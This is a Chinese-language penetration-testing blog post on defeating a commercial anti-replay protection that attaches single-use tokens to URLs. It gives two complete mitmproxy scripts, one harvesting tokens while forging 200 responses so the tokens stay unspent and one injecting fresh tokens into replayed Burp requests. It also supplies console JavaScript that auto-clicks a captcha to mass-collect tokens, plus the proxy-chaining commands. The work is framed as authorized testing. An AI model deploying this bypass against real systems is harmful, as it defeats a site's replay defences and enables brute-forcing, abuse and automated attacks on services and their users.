记一次Mitm绕过某数防重放的另辟蹊径

背景： 某客户系统存在某数防重放攻击(URL中拼接一个参数值，用过的将会不能再次使用，以达到防重放效果)，如果进行补环境/纯算，时间/技术成本较大，本文研究了一种市面上尚未存在的另辟蹊径的方法，利用Mitm捕获参数值，并且伪造返回状态码，不发送到目标服务器，并利用某种方法批量保存N组数据到本地，在后面渗透测试的时候自动替换掉Burp中数据包对应参数的参数值，达到数据包的唯一性，以绕过防重放(可能有人想到这种思路，但没人实现开源出来，这里应该算是原创首发吧?🤣)，适用于只有URL参数校验的防重放的情况。

免责声明： 本文仅用于学习研究目的，禁止销售或任何直接、间接的营利行为，转载请注明出处，通过使用本文相关代码产生的风险与作者无关。

某数防护：

重放：

会出现400状态码

但是这里发现只要重新获取一个没被用过的参数(这里是xxxxxxXD，已脱敏)的值就不会出现400状态码，那么是不是可以利用某种方法先保存N组参数值，然后利用某种方法不发送到目标服务器记录，到后面进行替换已保存的参数值就可以绕过防重放了呢？

这里使用Mitm捕获参数值，并且伪造200状态码的响应达到不发送到具体服务器：

from mitmproxy import http
from urllib.parse import urlparse, parse_qs
import json
import os
from datetime import datetime

# 定义要拦截的特定接口URL
TARGET_API_URLS = [
    "http://xxx.xxxxxx.org.cn:8080/xxx / ",
]

# 这里需要替换为要捕获的参数
TARGET_PARAMS = ["xxxxxxXD"]

# 定义输出文件
OUTPUT_FILE = "output.txt"

def request(flow: http.HTTPFlow) -> None:
    """
    请求到达时触发此函数。
    检查请求URL，如果匹配目标列表，则进行拦截并提取所需信息。
    """
    current_url = flow.request.pretty_url

    # 检查是否为目标接口
    for target_url in TARGET_API_URLS:
        if target_url in current_url:
            print(f"🚨 已拦截目标接口: {current_url}")
            
            # 提取并保存所需信息
            save_intercepted_data(flow.request)
            
            # 创建拦截响应
            mock_response_data = {
                "code": 200,
                "message": "Request intercepted by mitmproxy",
                "original_url": current_url
            }
            
            flow.response = http.Response.make(
                200,
                json.dumps(mock_response_data).encode('utf-8'),
                {"Content-Type": "application/json"}
            )
            return

def save_intercepted_data(request):
    """提取请求的URL参数信息并保存到文件"""
    
    # 解析URL和查询参数
    parsed_url = urlparse(request.url)
    query_params = parse_qs(parsed_url.query)
    
    # 提取目标参数
    target_param_value = None
    for param_name in TARGET_PARAMS:
        if param_name in query_params:
            target_param_value = f"{param_name}={query_params[param_name][0]}"
            break
    
    # 如果成功提取到参数和Cookie，则保存到文件
    if target_param_value:
        save_to_output_file(target_param_value)
        
        # 同时在控制台打印信息
        print_intercepted_info(target_param_value, request)

def save_to_output_file(param_str):
    """将参数信息保存到输出文件"""
    try:
        # 创建数据条目
        entry = f"[{param_str}]\n"
        
        # 追加写入文件
        with open(OUTPUT_FILE, "a", encoding="utf-8") as f:
            f.write(entry)
        
        print(f"✅ 数据已保存到 {OUTPUT_FILE}")
        
    except Exception as e:
        print(f"❌ 保存文件时出错: {e}")

def print_intercepted_info(param_str, request):
    """在控制台打印拦截的信息"""
    print("\n" + "="*80)
    print("🎯 拦截数据摘要")
    print("="*80)
    
    # 打印基础信息
    print(f"🕐 拦截时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
    print(f"🔗 请求URL: {request.url}")
    print(f"📋 请求方法: {request.method}")
    
    # 打印提取的参数
    print(f"\n🎯 目标参数:")
    print(f"   {param_str}")
    
    # 显示文件保存位置
    file_path = os.path.abspath(OUTPUT_FILE)
    print(f"\n💾 保存位置: {file_path}")
    print("="*80 + "\n")

def file_exists():
    """检查输出文件是否存在，如果不存在则创建并添加头部信息"""
    if not os.path.exists(OUTPUT_FILE):
        try:
            with open(OUTPUT_FILE, "w", encoding="utf-8") as f:
                f.write("# MitmProxy 拦截数据记录\n")
                f.write(f"# 创建时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
                f.write("# " + "="*50 + "\n")
            print(f"📁 创建新的输出文件: {OUTPUT_FILE}")
        except Exception as e:
            print(f"❌ 创建文件时出错: {e}")

# 在脚本加载时检查并创建文件
file_exists()

# 注册插件
addons = [lambda: None]

这里触发一个验证码的接口即可捕获一个：

mitmdump -s 捕获请求参数值.py

此处访问目标url，并且触发到验证码接口：

此处没有显示出来，因为被拦截了

在mitm查看：

此处成功捕获一个，但是只有一个显然不够，要捕获至少9999个才方便后面使用

由于被拦截点不了验证码图片了，此处使用console直接注入js代码，利用xpath定位，控制点击相应的验证码：

const xpath = "/html/body/div/div/div/form/div[1]/div[3]/div[2]/img"; #这里替换为你触发的接口的按钮的xpath,这里我是验证码的xpath
const element = document.evaluate(xpath, document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue;

if (element) {
  for (let i = 0; i < 50; i++) {
    // 创建鼠标事件并触发[7](@ref)
    const event = new MouseEvent('click', {
      view: window,
      bubbles: true,  // 允许事件冒泡
      cancelable: true
    });
    element.dispatchEvent(event);
    console.log(`第 ${i + 1} 次事件触发完成`);
  }
} else {
  console.error("未找到元素");
}

至此，已捕获足够的数据，上面的mitm脚本会自动追加保存结果到运行目录的output.txt里面

下面，编写另一个mitm脚本，用于自动替换后面测试时候数据包中的参数值，并且每使用一组就去除用过的一组，使其不重复，达到绕过防重放。

# -*- coding: utf-8 -*-
from mitmproxy import http, ctx
from urllib.parse import urlparse, parse_qs, urlencode, urlunparse
import os
import re
import time
import threading
from collections import deque

class ParameterReplacer:
    def __init__(self, file_path="output.txt"):
        self.file_path = file_path
        self.data_queue = deque()
        self.lock = threading.Lock()
        self.last_load_time = 0
        self.load_data()
    
    def load_data(self):
        """从文件加载数据到内存队列"""
        ctx.log.info(f"📂 正在加载数据文件: {self.file_path}")
        
        with self.lock:
            self.data_queue.clear()
            
            if not os.path.exists(self.file_path):
                ctx.log.warn(f"⚠️ 文件不存在: {self.file_path}")
                return
                
            try:
                with open(self.file_path, 'r', encoding='utf-8') as f:
                    content = f.read()
                
                #匹配参数部分
                pattern = r'\[([^=]+)=([^\]]+)\]'
                matches = re.findall(pattern, content)
                
                for match in matches:
                    param_name, param_value = match
                    self.data_queue.append({
                        'param_name': param_name.strip(),
                        'param_value': param_value.strip()
                    })
                
                ctx.log.info(f"✅ 已加载 {len(self.data_queue)} 组参数数据")
                self.last_load_time = time.time()
                
            except Exception as e:
                ctx.log.error(f"❌ 加载数据失败: {str(e)}")
    
    def get_next_data(self):
        """获取下一组数据并从队列中移除"""
        with self.lock:
            if not self.data_queue:
                # 每5分钟尝试重新加载文件
                if time.time() - self.last_load_time > 300:
                    self.load_data()
                return None
                
            data = self.data_queue.popleft()
            ctx.log.info(f"🔧 使用参数: {data['param_name']}={data['param_value'][:30]}...")
            return data
    
    def save_remaining_data(self):
        """保存剩余数据回文件"""
        with self.lock:
            if not self.data_queue:
                try:
                    with open(self.file_path, 'w', encoding='utf-8') as f:
                        f.write("# ==================================================\n")
                    ctx.log.info("✅ 参数数据已全部使用，文件已清空")
                except Exception as e:
                    ctx.log.error(f"❌ 清空文件失败: {str(e)}")
                return
                    
            try:
                with open(self.file_path, 'w', encoding='utf-8') as f:                    
                    for data in self.data_queue:
                        line = f"[{data['param_name']}={data['param_value']}]\n"
                        f.write(line)
                        
                ctx.log.info(f"💾 已保存 {len(self.data_queue)} 组剩余参数数据")
                
            except Exception as e:
                ctx.log.error(f"❌ 保存数据失败: {str(e)}")

# 全局替换器实例
replacer = None

def load(loader):
#当前文件夹下的output.txt，刚刚捕获的数据集
    loader.add_option(
        "data_file", str, "output.txt", "数据文件路径"
    )


def configure(updated):
    """配置更新处理"""
    global replacer
    # updated是一个集合，包含发生变化的选项名
    if "data_file" in updated:
        try:
            data_file_path = ctx.options.data_file
            replacer = ParameterReplacer(data_file_path)
            ctx.log.info(f"数据文件路径更新为: {data_file_path}")
        except Exception as e:
            ctx.log.error(f"创建ParameterReplacer失败: {str(e)}")

def request(flow: http.HTTPFlow) -> None:
    """处理每个请求 - 只替换已存在的URL参数"""
    global replacer
    
    if replacer is None:
        # 如果replacer未初始化，尝试使用默认配置初始化
        try:
            data_file_path = getattr(ctx.options, "data_file", "output.txt")
            replacer = ParameterReplacer(data_file_path)
        except Exception as e:
            ctx.log.error(f"初始化ParameterReplacer失败: {str(e)}")
            return
    
    try:
        # 检查原请求是否包含目标参数
        parsed_url = urlparse(flow.request.url)
        query_params = parse_qs(parsed_url.query)
        
        # 获取配置的参数名，这里替换实际的参数名
        param_name = getattr(ctx.options, "param_name", "xxxxxxXD")
        
        # 检查条件：原请求必须包含目标参数
        has_target_param = param_name in query_params
        
        if not has_target_param:
            # 不满足条件，跳过处理
            ctx.log.info(f"⏩ 跳过: 请求未包含目标参数 {param_name}")
            return
        
        ctx.log.info(f"🎯 符合条件: 请求包含参数 {param_name}，开始处理...")
        
        # 获取下一组参数数据
        data = replacer.get_next_data()
        if not data:
            ctx.log.info("⚠️ 无可用替换参数数据")
            return
            
        param_value = data['param_value']
        
        # 只替换已存在的参数（不添加新参数）
        query_params[param_name] = [param_value]
        
        # 重建查询字符串和URL
        new_query = urlencode(query_params, doseq=True)
        new_url = urlunparse((
            parsed_url.scheme,
            parsed_url.netloc,
            parsed_url.path,
            parsed_url.params,
            new_query,
            parsed_url.fragment
        ))
        
        flow.request.url = new_url
        
        # 添加标记头用于追踪（可选）
        flow.request.headers['X-Parameter-Replaced'] = 'true'
        
        ctx.log.info(f"✅ 参数已替换: {param_name} = {param_value}")
        ctx.log.info(f"🔗 请求URL已更新: {flow.request.host}{flow.request.path}")
        
    except Exception as e:
        ctx.log.error(f"❌ 请求处理错误: {str(e)}")

def response(flow: http.HTTPFlow) -> None:
    """处理每个响应"""
    global replacer
    
    # 检查是否是我们修改过的请求
    if 'X-Parameter-Replaced' in flow.request.headers:
        ctx.log.info(f"📡 收到参数替换请求的响应: {flow.response.status_code}")
        
        # 定期保存剩余数据（每10个响应保存一次）
        if hasattr(flow, 'response') and flow.response.status_code % 10 == 0:
            if replacer:
                replacer.save_remaining_data()

def done():
    """mitmproxy退出时保存剩余数据"""
    global replacer
    ctx.log.info("🚪 mitmproxy退出，保存剩余参数数据...")
    if replacer:
        replacer.save_remaining_data()

# 注册addon
addons = []

火狐浏览器代理8080端口

burp设置代理监听8080端口,burp的上游代理设置为8085端口


启动mitm监听8085端口：

mitmdump -s 转发替换请求参数值.py -p 8085 --ssl-insecure

即流程为火狐浏览器代理到burp的8080端口，burp代理到mitm的8085端口
至此已完成防重防绕过，测试效果：

发到重放器直接重放：

这里可以看到即使用的是同一个参数值，但返回包是正常的200状态码了，即成功绕过
查看mitm做了什么：

Mitm自动替换了存在xxxxxxXD参数的值，并且去除了已使用过的一组
至此，后续可无痛进行一系列渗透测试